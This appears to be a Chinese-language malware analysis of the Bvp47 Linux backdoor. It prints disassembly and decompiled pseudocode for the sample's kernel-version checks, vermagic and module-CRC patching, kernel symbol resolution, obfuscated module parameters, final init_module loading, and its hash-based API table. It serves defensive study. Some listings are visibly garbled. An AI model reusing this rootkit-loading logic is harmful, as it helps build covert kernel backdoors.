LOAD:080589F0 C7 45 D4 00 00 00 00 |
LOAD:080589F7 C7 44 24 08 1C 00 00 00 |
LOAD:080589FF C7 44 24 04 74 26 06 08 |
LOAD:08058A07 89 04 24 |
LOAD:08058A0A E8 C1 71 00 00 |
LOAD:08058A0F C7 44 24 04 00 00 00 00 |
LOAD:08058A17 89 44 24 08 |
LOAD:08058A1B 80 45 E4 |
LOAD:08058A1E 89 04 24 |
LOAD:08058A21 FF D3 |
LOAD:08058A23 31 DB |
LOAD:08058A25 85 C0 |
LOAD:08058A27 75 5F |
LOAD:08058A29 8B 45 E4 |
LOAD:08058A2C 85 C0 |
LOAD:08058A2E 74 58 |
LOAD:08058A30 83 F8 FF |
LOAD:08058A33 74 53 |
LOAD:08058A35 80 85 41 FF FF FF |
LOAD:08058A3B 8B 3D AC DE 06 08 |
LOAD:08058A41 C7 44 24 08 20 00 00 00 |
LOAD:08058A49 C7 44 24 04 94 26 06 08 |
LOAD:08058A51 89 04 24 |
LOAD:08058A54 E8 77 71 00 00 |
LOAD:08058A59 C7 44 24 04 00 00 00 00 |
LOAD:08058A61 89 44 24 08 |
LOAD:08058A65 80 45 E4 |
LOAD:08058A68 89 04 24 |
LOAD:08058A6B FF D7 |
LOAD:08058A6D 85 C0 |
LOAD:08058A6F 75 17 |
LOAD:08058A71 8B 45 E0 |
LOAD:08058A74 83 F8 FF |
LOAD:08058A77 74 0F |
LOAD:08058A79 3D 19 06 02 00 |
LOAD:08058A7E 8B 01 00 00 00 |
LOAD:08058A83 76 13 |
LOAD:08058A85 8D 76 00 |
LOAD:08058A88

push ebp
mov ebp, esp
sub esp, 138h
lea eax, [ebp+buffer]
mov [ebp+var_C], ebx
mov ebx, ds:ELF_API_0x08052A40
mov [ebp+var_8], esi
lea esi, [ebp+var_121]
mov [ebp+var_4], edi
mov [ebp+var_1C], 0
mov [ebp+var_20], 0
mov [ebp+var_24], 0
mov [ebp+var_28], 0
mov [ebp+var_2C], 0
mov dword ptr [esp+8], 1ch ; length
mov dword ptr [esp+4], offset aBvp_sym_devmem_is_allowed ; "Bvp_sym_devmem_is_allowed"
mov [esp], eax ; dst
call serial_bind_0xa8a16d65_xcode
mov dword ptr [esp+4], 0
mov [esp+8], eax
lea eax, [ebp+var_1C]
mov [esp], eax
call ebx ; ELF_API_0x08052A40
xor ebx, ebx
test eax, eax
jnz short loc_8058A88
mov eax, [ebp+var_1C]
test eax, eax
jz short loc_8058A88
cmp eax, 0FFFFFFFh
jz short loc_8058A88
lea eax, [ebp+dst]
mov edi, ds:ELF_API_0x08052A40
mov dword ptr [esp+8], 20h ; ' ' ; length
mov dword ptr [esp+4], offset aBvp_config_linux_version_code ; "Bvp_config_LINUX_VERSION_CODE"
mov [esp], eax ; dst
call serial_bind_0xa8a16d65_xcode
mov dword ptr [esp+4], 0
mov [esp+8], eax
lea eax, [ebp+var_20]
mov [esp], eax
call edi ; ELF_API_0x08052A40
test eax, eax
jnz short loc_8058A88
mov eax, [ebp+var_20]
cmp eax, 0FFFFFFFh
jz short loc_8058A88
cmp eax, 28619h
mov ebx, 1
jbe short loc_8058A98
lea esi, [esi+0]
```

对应的伪代码：

```
2{
3  int (__cdecl *v0)(int *, _DWORD, int); // ebx
4  int v1; // eax
5  int v2; // eax
6  int v3; // ebx
7  int (__cdecl *v4)(unsigned int *, _DWORD, int); // edi
8  int v5; // eax
9  void (__cdecl *v7)(int *, _DWORD, int); // edi
10 int v8; // eax
11 void (__cdecl *v9)(int *, _DWORD, int); // edi
12 int v10; // eax
13 void (__cdecl *v11)(int *, _DWORD, int); // edi
14 int v12; // eax
15 char v13[49]; // [esp+17h] [ebp-121h] BYREF
16 char buffer[49]; // [esp+48h] [ebp-F0h] BYREF
17 char dst[49]; // [esp+79h] [ebp-BFh] BYREF
18 char v16[49]; // [esp+AAh] [ebp-8Eh] BYREF
19 char v17[49]; // [esp+DBh] [ebp-5Dh] BYREF
20 int v18; // [esp+10Ch] [ebp-2Ch] BYREF
21 int v19; // [esp+110h] [ebp-28h] BYREF
22 int v20; // [esp+114h] [ebp-24h] BYREF
23 unsigned int v21; // [esp+118h] [ebp-20h] BYREF
24 int v22[4]; // [esp+11Ch] [ebp-1Ch] BYREF
25
26 v0 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
27 v22[0] = 0;
28 v21 = 0;
29 v20 = 0;
30 v19 = 0;
31 v18 = 0;
32 v1 = serial_bind_0xa8a16d65_xcode(buffer, "Bvp_sym_devmem_is_allowed", 28);
33 v2 = v0(v22, 0, v1);
34 v3 = 0;
35 if ( !v2 )
36 {
37     if ( v22[0] )
38     {
39         if ( v22[0] != -1 )
40         {
41             v4 = (int (__cdecl *)(unsigned int *, _DWORD, int))ELF_API_0x08052A40;
42             v5 = serial_bind_0xa8a16d65_xcode(dst, "Bvp_config_LINUX_VERSION_CODE", 32);
43             if ( !v4(&v21, 0, v5) && v21 != -1 )
44             {
45                 v3 = 1;
46                 if ( v21 <= 0x20619 )
47                 {
48                     v7 = (void (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
49                     v8 = serial_bind_0xa8a16d65_xcode(v16, "Bvp_config_CONFIG_INFINIBAND_NES", 35);
50                     v7(&v20, 0, v8);
51                     v9 = (void (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
52                     v10 = serial_bind_0xa8a16d65_xcode(v17, "Bvp_config_CONFIG_INFINIBAND_NES_MODULE", 42);
53                     v9(&v19, 0, v10);
54                     v11 = (void (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
55                     v12 = serial_bind_0xa8a16d65_xcode(v13, "Bvp_config_CONFIG_XEN", 24);
56                     v11(&v18, 0, v12);
57                     if ( v20 != 1 && v19 != 1 )
58                         LOBYTE(v3) = v18 == 1;
59                 }
60             }
61         }
62     }
63 }
```

## 4. serial\_bvp流程

```
LOAD:08059750
LOAD:08059750 55          push    ebp
LOAD:08059751 89 E5          mov     ebp, esp
LOAD:08059753 81 EC 28 09 00 00      sub     esp, 928h
LOAD:08059759 80 3D B0 DE 06 08 00  cmp     ds:g_elf_decode, 0
LOAD:08059760 89 5D F4          mov     [ebp+var_C], ebx
LOAD:08059763 89 75 F8          mov     [ebp+var_8], esi
LOAD:08059766 89 7D FC          mov     [ebp+var_4], edi
LOAD:08059769 C7 45 E4 00 00 00 00  mov     [ebp+var_1C], 0
LOAD:08059770 75 25          jnz     short loc_8059797
LOAD:08059772 A1 C8 3C 06 08          mov     eax, ds:g_elf_len
LOAD:08059777 BB FF FF FF FF          mov     ebx, 0FFFFFFFh
LOAD:0805977C C7 04 24 20 3D 06 08  mov     dword ptr [esp], offset g_elf_buf ; buf
LOAD:08059783 89 44 24 04          mov     [esp+4], eax ; len
LOAD:08059787 E8 D4 64 00 00          call    serial_bind_0x4743c911_xor
LOAD:0805978C 85 C0          test    eax, eax
LOAD:0805978E 74 2C          jz     short loc_80597BC
LOAD:08059790 C6 05 B0 DE 06 08 01  mov     ds:g_elf_decode, 1
LOAD:08059797
loc_8059797:
LOAD:08059797 A1 C8 3C 06 08          mov     eax, ds:g_elf_len ; CODE XREF: serial_bvp+201j
LOAD:0805979C 8D B5 7C FF FF FF          lea     esi, [ebp+info]
LOAD:080597A2 C7 44 24 04 20 3D 06 08  mov     dword ptr [esp+4], offset g_elf_buf ; elf_buf
LOAD:080597AA 89 34 24          mov     [esp], esi ; info
LOAD:080597AD 89 44 24 08          mov     [esp+8], eax ; elf_len
LOAD:080597B1 E8 BA 0C 00 00          call    serial_elf_getbaseinfo
LOAD:080597B6 85 C0          test    eax, eax
LOAD:080597B8 89 C3          mov     ebx, eax
LOAD:080597BA 74 24          jz     short loc_80597E0
LOAD:080597BC
loc_80597BC:
LOAD:080597BC
LOAD:080597BC 8B 45 E4          mov     eax, [ebp+var_1C] ; CODE XREF: serial_bvp+3E1j
LOAD:080597BF 85 C0          test    eax, eax ; serial_bvp+AD1j ...
LOAD:080597C1 74 08          jz     short loc_80597CB
LOAD:080597C3 89 04 24          mov     [esp], eax
LOAD:080597C6 E8 C5 70 00 00          call    serial_bind_0x44611a64_free
LOAD:080597CB
loc_80597CB:
LOAD:080597CB 89 D8          mov     eax, ebx ; CODE XREF: serial_bvp+711j
LOAD:080597CD 8B 75 F8          mov     esi, [ebp+var_8]
LOAD:080597D0 8B 5D F4          mov     ebx, [ebp+var_C]
LOAD:080597D3 8B 7D FC          mov     edi, [ebp+var_4]
LOAD:080597D6 89 EC          mov     esp, ebp
LOAD:080597D8 5D          pop     ebp
LOAD:080597D9 C3          retn
; -----
LOAD:080597DA 8D B6 00 00 00 00 00  align 10h
LOAD:080597E0
loc_80597E0:
LOAD:080597E0 8D 45 E4          lea     eax, [ebp+var_1C] ; CODE XREF: serial_bvp+6A1j
LOAD:080597E3 89 44 24 08          mov     [esp+8], eax
LOAD:080597E7 8D 85 48 FF FF FF          lea     eax, [ebp+var_B8]
LOAD:080597ED 89 44 24 04          mov     [esp+4], eax
LOAD:080597F1 89 34 24          mov     [esp], esi
LOAD:080597F4 E8 C7 0E 00 00          call    serial_Bvp_sizeof
LOAD:080597F9 85 C0          test    eax, eax
00011750 08059750: serial_bvp (Synchronized with Hex View-1)
```



## 5. 加载第一个模块qmr

```
117 int v118; // [esp+8F8h] [ebp-30h] BYREF
118 unsigned int v119; // [esp+8FCh] [ebp-2Ch] BYREF
119 int v120; // [esp+900h] [ebp-28h] BYREF
120 int v121; // [esp+904h] [ebp-24h] BYREF
121 int v122; // [esp+908h] [ebp-20h] BYREF
122 int v123[4]; // [esp+90Ch] [ebp-1Ch] BYREF
123
124 v123[0] = 0;
125 if ( !g_elf_decode )
126 {
127     v3 = -1;
128     if ( !serial_bind_0x4743c911_xor(g_elf_buf, g_elf_len) )
129         goto LABEL_5;
130     g_elf_decode = 1;
131 }
132 v3 = serial_elf_getbaseinfo(info, g_elf_buf, g_elf_len);
133 if ( !v3 )
134 {
135     v3 = serial_Bvp_sizeof(info, v102, v123);
136     if ( !v3 )
137     {
138         v3 = -1;
139         v117 = 0;
140         v118 = 0;
141         v5 = serial_bind_0xa8a16d65_xcode(buffer, "qmr", 5); // 第一个内核模块
142         v120 = 0;
143         v119 = 0;
144         v6 = v5;
145         if ( v5 )
146         {
147             v7 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
148             v8 = serial_bind_0xa8a16d65_xcode(dst, "Bvp_offsetof_CzZmodule__Mname", 32);
149             v3 = v7(&v120, 0, v8);
150             if ( !v3 )
151             {
152                 v9 = (int (__cdecl *)(unsigned int *, _DWORD, int))ELF_API_0x08052A40;
153                 v10 = serial_bind_0xa8a16d65_xcode(v100, "Bvp_const__MODULE_NAME_LEN", 28);
154                 v3 = v9(&v119, 0, v10);
155                 if ( !v3 )
156                 {
157                     if ( v120 == -1 || v119 == -1 )
158                     {
159                         v11 = v104;
160                     }
161                     else
162                     {
163                         v11 = v104;
164                         v12 = *(_DWORD *)(v104 + 40 * v105 + 16) + v103;
165                         if ( !*( _BYTE *) (v12 + v120) )
166                         {
```



## 6. 校验发行版：

```
153 v10 = serial_bind_0xa0a100b5_xcode(v100,  bvp_const__MODULE_NAME_LEN, &0);
154 v3 = v9(&v119, 0, v10);
155 if ( !v3 )
156 {
157     if ( v120 == -1 || v119 == -1 )
158     {
159         v11 = v104;
160     }
161     else
162     {
163         v11 = v104;
164         v12 = *(_DWORD *)(v104 + 40 * v105 + 16) + v103;
165         if ( !*( _BYTE *) (v12 + v120) )
166         {
167             (*(void (__cdecl **)(int, int, unsigned int))&strncpy_)(v120 + v12, v6, v119);
168             v11 = v104;
169         }
170     }
171     v119 = *(_DWORD *) (v11 + 40 * v107 + 20);
172     v13 = serial_bind_0xa8a16d65_xcode(v94, "vermagic", 10);
173     v79 = 0;
174     v14 = *(int (__cdecl **)(int))&strlen_)(v13);
175     v15 = *(_DWORD *) (v104 + 40 * v107 + 16) + v103;
176     if ( !v15 )
177         goto LABEL_41;
178     do
179     {
180         if ( !*(int (__cdecl **)(int, int, int))&strncpy_)(v15, v13, v14) )
181         {
182             v16 = (const char *) (v15 + v14 + 1);
183             if ( *( _BYTE *) (v15 + v14) != 61 )
184                 v16 = v79;
185             v79 = v16;
186         }
187         v15 = sub_905A3C0(v15, &v119);
188     }
189     while ( v15 );
190     v3 = -1;
191     if ( v79 )
192     {
193         if ( !strcmp(
194             v79,
195             "e86dd99a33cb9df96e793518f659746f6cc3d9ac39413871f5afd58d7d00685a0c449d62aa35c865a133dff") ) // 校验发行版本
196         {
197             //
198             serial_bind_0xbf3146c2_memset(v100, 0);
199             v3 = serial_bvp_config_();
200             if ( !v3 )
201             {
202                 serial_bind_0x79873eff_memmove(v79, v100, 89);
203                 v17 = (int (__cdecl *) (int *, _DWORD, int))ELF_API_0x08052A40;
204                 v18 = serial_bind_0xa8a16d65_xcode(v85, "Bvp_config_CONFIG_MODVERSIONS", 32);
205                 v3 = v17(&v117, 0, v18);
206                 if ( !v3 )
207                 {
208                     if ( v117 == 1 )
209                     {
210                         v119 = 0;
211                         v120 = 0;
212                         v121 = 0;

```

## 7. 该发行版对应了TSB中的版本：

4.1	Linux version 2.6.9-11.EL (bhcompile@decompose.build.redhat.com) (gcc version 3.4.3 20050227 (Red Hat 3.4.3-22)) #1 Fri May 20 18:17:57 EDT 2005	f75835f359ef8f26a8f58c113ac7fd0*
4.2	Linux version 2.6.9-22.EL (bhcompile@porky.build.redhat.com) (gcc version 3.4.4 20050721 (Red Hat 3.4.4-2)) #1 Mon Sep 19 18:20:28 EDT 2005	fe80fc70bf9db7075e9e0fb0c770bfd*
4.3	Linux version 2.6.9-34.EL (bhcompile@hs20-bc1-7.build.redhat.com) (gcc version 3.4.5 20051201 (Red Hat 3.4.5-2)) #1 Fri Feb 24 16:44:51 EST 2006	3e7a8cc0c25e882570eca008d349c92*
4.4	Linux version 2.6.9-42.EL (bhcompile@hs20-bc1-1.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-2)) #1 Wed Jul 12 23:16:43 EDT 2006	b5b678cf805b3b09581303786d01d8cf*
4.5	Linux version 2.6.9-55.EL (brewbuilder@ls20-bc2-14.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-3)) #1 Fri Apr 20 16:35:59 EDT 2007	df61eade798c73b3856695a695cb22a*
4.6	Linux version 2.6.9-67.EL (brewbuilder@ls20-bc1-14.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-8)) #1 Wed Nov 7 13:41:13 EST 2007	ed4c725e19754e64cf046a245d265501*
4.7	Linux version 2.6.9-78.EL (brewbuilder@hs20-bc2-3.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-10)) #1 Wed Jul 9 15:27:01 EDT 2008	28fbd4d2772ac82473cd562c5d9f3d6*
4.8	Linux version 2.6.9-89.EL (mockbuild@hs20-bc1-2.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-11)) #1 Mon Apr 20 10:23:08 EDT 2009	8debe58a1f60754d305aa3bf01136a65*
4.1	Linux version 2.6.9-11.ELsmp (bhcompile@decompose.build.redhat.com) (gcc version 3.4.3 20050227 (Red Hat 3.4.3-22)) #1 SMP Fri May 20 18:26:27 EDT 2005	a71048d6369a67956428d0b02d2c752d*
4.2	Linux version 2.6.9-22.ELsmp (bhcompile@porky.build.redhat.com) (gcc version 3.4.4 20050721 (Red Hat 3.4.4-2)) #1 SMP Mon Sep 19 18:32:14 EDT 2005	87e51d3b1e3234e2f64b8f2b4ba3fa9*
4.3	Linux version 2.6.9-34.ELsmp (bhcompile@hs20-bc1-7.build.redhat.com) (gcc version 3.4.5 20051201 (Red Hat 3.4.5-2)) #1 SMP Fri Feb 24 16:54:53 EST 2006	3308280a57cdeeb23c2fc6d564c2fbfe*
4.4	Linux version 2.6.9-42.ELsmp (bhcompile@hs20-bc1-1.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-2)) #1 SMP Wed Jul 12 23:27:17 EDT 2006	83c30b21b928f15fdd959a389a064d32*
4.4	Linux version 2.6.9-42.0.10.ELsmp (brewbuilder@hs20-bc1-5.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-3)) #1 SMP Fri Feb 16 17:17:21 EST 2007	1c8fd03a1962172bdc9b1a6bab306b68*
4.4	Linux version 2.6.9-42.0.10.ELsmp (brewbuilder@ls20-bc1-14.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-3)) #1 SMP Fri Feb 16 17:13:42 EST 2007	2007e27a73867db2a4e0f00d726a95689bee*
4.5	Linux version 2.6.9-55.ELsmp (brewbuilder@ls20-bc2-14.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-3)) #1 SMP Fri Apr 20 17:03:35 EDT 2007	e5127b3e3b1639fc8d231c78bc5faa7*
4.6	Linux version 2.6.9-67.ELsmp (brewbuilder@ls20-bc1-14.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-8)) #1 SMP Wed Nov 7 13:58:04 EST 2007	6233d72d26f693c859ca0ab5bee1fc37*
4.7	Linux version 2.6.9-78.ELsmp (brewbuilder@hs20-bc2-3.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-10)) #1 SMP Wed Jul 9 15:39:47 EDT 2008	23f8c30154c640c90305073ddcace4b6*
4.8	Linux version 2.6.9-89.ELsmp (mockbuild@hs20-bc1-2.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-11)) #1 SMP Mon Apr 20 10:34:33 EDT 2009	7759efcea928377e9cd30dc5cab575b5*

## 8. 校验2：

```
v18 = serial_bind_0xa8a16d65_xcode(v85, "Bvp_config_CONFIG_MODVERSIONS", 32);
v3 = v17(&v117, 0, v18);
if ( !v3 )
{
  if ( v117 == 1 )
  {
    v119 = 0;
    v120 = 0;
    v121 = 0;
    v122 = 0;
    v34 = serial_bind_0xa8a16d65_xcode(v95, "Bvp_modversion_", 18);
    v35 = (int (__cdecl *)(unsigned int *, _DWORD, int))ELF_API_0x08052A40;
    v80 = v34;
    v36 = serial_bind_0xa8a16d65_xcode(v96, "Bvp_sizeof__zZmodversion_info", 31);
    v3 = v35(&v119, 0, v36);
    if ( v3 )
      goto LABEL_5;
    v37 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
    v38 = serial_bind_0xa8a16d65_xcode(v97, "Bvp_offsetof__CzZmodversion_info_Mname", 41);
    v3 = v37(&v120, 0, v38);
    if ( v3 )
      goto LABEL_5;
    v39 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
    v40 = serial_bind_0xa8a16d65_xcode(v98, "Bvp_offsetof__CzZmodversion_info_Mcrc", 40);
    v3 = v39(&v121, 0, v40);
    if ( v3 )
      goto LABEL_5;
    if ( v119 != -1 && v120 != -1 && v121 != -1 )
    {
      v41 = v104 + 40 * v108;
      v42 = *(_DWORD *)(v41 + 16) + v103;
      v43 = *(_DWORD *)(v41 + 20) / v119;
      if ( v43 )
      {
        do
        {
          v73 = v43;
          v44 = v42 + v3 * v119;
          v71 = v44 + v120;
          ((void (__cdecl *)(char *, _DWORD))serial_bind_0xbf3146c2_memset)(v100, 0);
          (*(void (__cdecl **)(char *, int, int))&strcpy_.)(v100, v80, 128);
          (*(void (__cdecl **)(char *, int))&strcat_.)(v100, v71);
          ((void (__cdecl *)(int *, _DWORD, char*))ELF_API_0x08052A40)(&v122, 0, v100);
          v43 = v73;
          v45 = (_DWORD *)(v121 + v44);
          if ( *v45 != 0x1DC665AE )
            goto LABEL_41;
          ++v3;
          *v45 = v122;
        }
        while ( v73 > v3 );
      }
    }
  }
}
```

## 9. 内核模块加载时的参数验证1：

```

254     while ( v2 > v3 );
255 }
256 }
257 }
258 v19 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x00052A40;
259 v20 = serial_bind_0xa8a16d65_xcode(v07, "Bvp_offsetof__c2module__Minit", 32);
260 v3 = v19(&v18, 0, v20);
261 if ( !v3 )
262 {
263     v21 = (_DWORD *)v104 + 40 * v100;
264     v22 = v21[7];
265     v3 = -1;
266     if ( v22 < *(unsigned __int16 *)v103 + 48 )
267         && {*(BYTE *)v104 + 40 * v22 + 8} & 2 != 0
268         && v21[5] <= 0x7fu )
269     {
270         v23 = v21[4] + v103;
271         if ( *((_DWORD *)v23 == 60 && *(BYTE *)v23 + 4) == 1 )
272         {
273             *((_DWORD *)v23 = v118;
274             v24 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x00052A40;
275             v119 = 0;
276             v118 = 0;
277             v25 = serial_bind_0xa8a16d65_xcode(v95, "Bvp_sym_devmem_is_allowed", 28);
278             if ( v24(&v122, 0, v25) )
279                 goto LABEL_41;
280             if ( v122 == -1 )
281                 goto LABEL_41;
282             v26 = serial_bind_0xa8a16d65_xcode(v96, "Bvp_sym_sym_after_devmem_is_allowed", 38);
283             if ( ((int (__cdecl *)(int *, _DWORD, int))ELF_API_0x00052A40)(&v121, 0, v26) )
284                 goto LABEL_41;
285             if ( v121 == -1 )
286                 goto LABEL_41;
287             v27 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x00052A40;
288             v28 = serial_bind_0xa8a16d65_xcode(v97, "Bvp_weak_sym_lookup_address", 30);
289             if ( v27(&v120, 0, v28) )
290                 goto LABEL_41;
291             v29 = v120;
292             if ( v120 == -1 )
293                 goto LABEL_41;
294             v30 = v121;
295             v31 = v122;
296             v31 = serial_bind_0xa8a16d65_xcode(v98, "Xs=Xlu Xs=Xlx Xs=Xlx Xs=Xlx Xs=Xlx Xs=Xlx", 48);
297             if ( *((int (__cdecl **)(char *, int, int, const char *, int, const char *, int, const char *, int, const char *, int, const char *, int, const char *, int, const char *, int))&v30;
298                 v01,
299                 1024,
300                 v11,
301                 "Mias",
302                 Xs,
303                 "qizlKkRfdm",
304                 v09,
305                 "vdkzVetnab",
306                 v30,
307                 "lhnCar",
308                 v09,
309                 "00uFsboutDV",
310                 37,
311                 "NcQ9aOrVC",
312                 22) < 0 ) // 需要符合对应的参数验证1
313                 goto LABEL_41;
314 }
315 }

```

## 10. 内核模块2加载时的参数验证2：

```

357     goto LABEL_41;
358     v59 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x00052A40;
359     v60 = serial_bind_0xa8a16d65_xcode(v90, "Bvp_sym___ioremap", 20);
360     if ( v59(&v113, 0, v60) )
361         goto LABEL_41;
362     if ( v113 == -1 )
363         goto LABEL_41;
364     v61 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x00052A40;
365     v62 = serial_bind_0xa8a16d65_xcode(v91, "Bvp_sym_module_alloc", 23);
366     if ( v61(&v112, 0, v62) )
367         goto LABEL_41;
368     if ( v112 == -1 )
369         goto LABEL_41;
370     v63 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x00052A40;
371     v64 = serial_bind_0xa8a16d65_xcode(v92, "Bvp_sym_module_free", 22);
372     if ( v63(&v111, 0, v64) )
373         goto LABEL_41;
374     if ( v111 == -1 )
375         goto LABEL_41;
376     v65 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x00052A40;
377     v66 = serial_bind_0xa8a16d65_xcode(v93, "Bvp_const_PAGE_OFFSET", 24);
378     if ( v65(&v110, 0, v66) )
379         goto LABEL_41;
380     v67 = v110;
381     if ( v110 == -1 )
382         goto LABEL_41;
383     v68 = v111;
384     v78 = v134;
385     v72 = v112;
386     v74 = v113;
387     v77 = v115;
388     v76 = v116;
389     v75 = v117;
390     v69 = serial_bind_0xa8a16d65_xcode(
391         v82,
392         "Xs=Xlx Xs=Xlx Xs=Xlx Xs=Xlx Xs=Xlx Xs=Xlx Xs=Xlx Xs=Xlx Xs=Xlx Xs=Xlx",
393         66);
394     if ( *((int (__cdecl **)(char *, unsigned int, int, const char *, int, const char *, int, const char *, int, const char *, int, const
395         &v81[0] - 11,
396         1024 - (v51 - 1),
397         v69,
398         "bzjV8g0rtQtz",
399         v75,
400         "tIZz0BIMEE",
401         v76,
402         "waLuj2dj",
403         v77,
404         "DlSDrKHHA",
405         v78,
406         "AM3PtKxAzr",
407         v74,
408         "sMrTYQNSos",
409         v72,
410         "HDLrAqdh",
411         v68,
412         "zNwTHZ",
413         v67) < 0 ) // 需要符合对应的参数验证2
414         goto LABEL_41;
415     LABEL_41:
416     v3 = -1;


```

## 11. 最终开始装载内核模块：

```
417         goto LABEL_5;
418     }
419 }
420 v48 = (*(int (__cdecl **)(int, int, char *))&init_module_.)(v102[0], v102[1], v81);
421 v49 = *(_DWORD *) (*(int (**)(void))&errno_location_.);
422 if ( v49 != 1 || v48 != -1 )
423     v3 = v49;
424 }
425 }
426 }
427 }
428 }
```

## ■ 自删除的一种绕过手段

在main函数中有2处unlink函数的调用，实际调试过程中可以暴力修改流程绕过unlink所出现的自删除：



## ■ 基于Hash的API函数调用

在Bvp47的运行过程会有制作一张类似作基于Hash值的API函数查找的查找表。



## 1. 面对如下的一张Hash表；

Address	Length	Type	String
LOAD:08060...	00000009	C	9a98cf3e
LOAD:08060...	00000009	C	29b5e7f0
LOAD:08060...	00000009	C	97413c51
LOAD:08060...	00000009	C	3955ced4
LOAD:08060...	00000009	C	278dec7a
LOAD:08060...	00000009	C	d1eb34ee
LOAD:08060...	00000009	C	191ea6d2
LOAD:08060...	00000009	C	4b6c29bf
LOAD:08060...	00000009	C	78f2b4b4
LOAD:08060...	00000009	C	1e30bd94
LOAD:08060...	00000009	C	da78b246
LOAD:08060...	00000009	C	8bdfc33f
LOAD:08060...	00000009	C	1a7a7356
LOAD:08060...	00000009	C	8c27e8f7
LOAD:08060...	00000009	C	92e5c0d8
LOAD:08060...	00000009	C	2cd7cd5e
LOAD:08060...	00000009	C	1bd919bb
LOAD:08060...	00000009	C	d0c6bfeb
LOAD:08060...	00000009	C	90bff64c
LOAD:08060...	00000009	C	531ab53f
LOAD:08060...	00000009	C	c949df79
LOAD:08060...	00000009	C	3bcaaa8c
LOAD:08060...	00000009	C	19282364
LOAD:08060...	00000009	C	ad776cf9
LOAD:08060...	00000009	C	0e56f7ab
LOAD:08060...	00000009	C	b219d9e5
LOAD:08060...	00000009	C	68cab24f
LOAD:08060...	00000009	C	b064f130
LOAD:08060...	00000009	C	388b7075
LOAD:08060...	00000009	C	7bbf2c88
LOAD:08060...	00000009	C	e6342921
LOAD:08060...	00000009	C	bfdc5cb1
LOAD:08060...	00000009	C	628daa78
LOAD:08060...	00000009	C	43f710cc
LOAD:08060...	00000009	C	7ba772b8
LOAD:08060...	00000009	C	59422f01
LOAD:08060...	00000009	C	25b78822
LOAD:08060...	00000009	C	47c2cb27
LOAD:08060...	00000009	C	89436336
LOAD:08060...	00000009	C	7f493fb8
LOAD:08060...	00000009	C	f265883c
LOAD:08060...	00000009	C	5b19bf75
LOAD:08060...	00000009	C	44624440
LOAD:08060...	00000009	C	c767b324
LOAD:08060...	00000009	C	e7a87594
LOAD:08060...	00000009	C	ea895d08
LOAD:08060...	00000009	C	10227454
LOAD:08060...	00000009	C	2e78d32a
LOAD:08060...	00000009	C	500b288d
LOAD:08060...	00000009	C	35ed46eb
LOAD:08060...	00000009	C	9d2e940a
LOAD:08060...	00000009	C	9a79a116
LOAD:08060...	00000009	C	37d03e4a
LOAD:08060...	00000009	C	3d8cec3c
LOAD:08060...	00000009	C	bebff213

## 2. 在sub\_804C2E0函数中尝试初始化

```

.OAD:0804C2E0
.OAD:0804C2E0 55
.OAD:0804C2E1 89 E5
.OAD:0804C2E3 83 EC 18
.OAD:0804C2E6 C7 44 24 08 78 00 00 00
.OAD:0804C2EE C7 44 24 04 C0 32 06 08
.OAD:0804C2F6 C7 04 24 20 4F 06 08
.OAD:0804C2FD E8 EE 07 01 00
.OAD:0804C302 C9
.OAD:0804C303 C3
.OAD:0804C303
.OAD:0804C303

sub_804C2E0 proc near ; CODE XREF: sub_804A150:loc_804A2C81p
push ebp
mov ebp, esp
sub esp, 18h
mov dword ptr [esp+8], 78h ; 'x' ; z
mov dword ptr [esp+4], offset g_bind_list ; y
mov dword ptr [esp], offset xx ; x
call serial_bind_0x7bbf2c88_
leave
retn
sub_804C2E0 endp

```

## 3. 在serial\_bind\_0x7bbf2c88\_函数中进一步初始化

```

LOAD:0805CAF0 >>
LOAD:0805CAF1 B8 FF FF FF FF
LOAD:0805CAF6 89 E5
LOAD:0805CAF8 57
LOAD:0805CAF9 56
LOAD:0805CACA 53
LOAD:0805CAF8 83 EC 2C
LOAD:0805CAFE 8B 4D 08
LOAD:0805CB01 8B 5D 0C
LOAD:0805CB04 8B 7D 10
LOAD:0805CB07 85 C9
LOAD:0805CB09 74 6F
LOAD:0805CB0B 85 DB
LOAD:0805CB0D 74 6B
LOAD:0805CB0F 85 FF
LOAD:0805CB11 74 67
LOAD:0805CB13 8B 01
LOAD:0805CB15 85 C0
LOAD:0805CB17 74 69
LOAD:0805CB19
LOAD:0805CB19
LOAD:0805CB19 31 F6
LOAD:0805CB1B EB 0D
LOAD:0805CB1B
LOAD:0805CB1D 8D 76 00
LOAD:0805CB20
LOAD:0805CB20
LOAD:0805CB20 83 C6 01
LOAD:0805CB23 83 C3 14
LOAD:0805CB26 39 F7
LOAD:0805CB28 76 4E
LOAD:0805CB2A
LOAD:0805CB2A
LOAD:0805CB2A
LOAD:0805CB2A 8B 43 08
LOAD:0805CB2D 83 E8 01
LOAD:0805CB30 83 F8 01
LOAD:0805CB33 77 EB
LOAD:0805CB35 8B 03
LOAD:0805CB37 83 C6 01
LOAD:0805CB3A 89 4D E0
LOAD:0805CB3D 89 04 24
LOAD:0805CB40 E8 6B 0F 00 00
LOAD:0805CB45 8B 4D E0
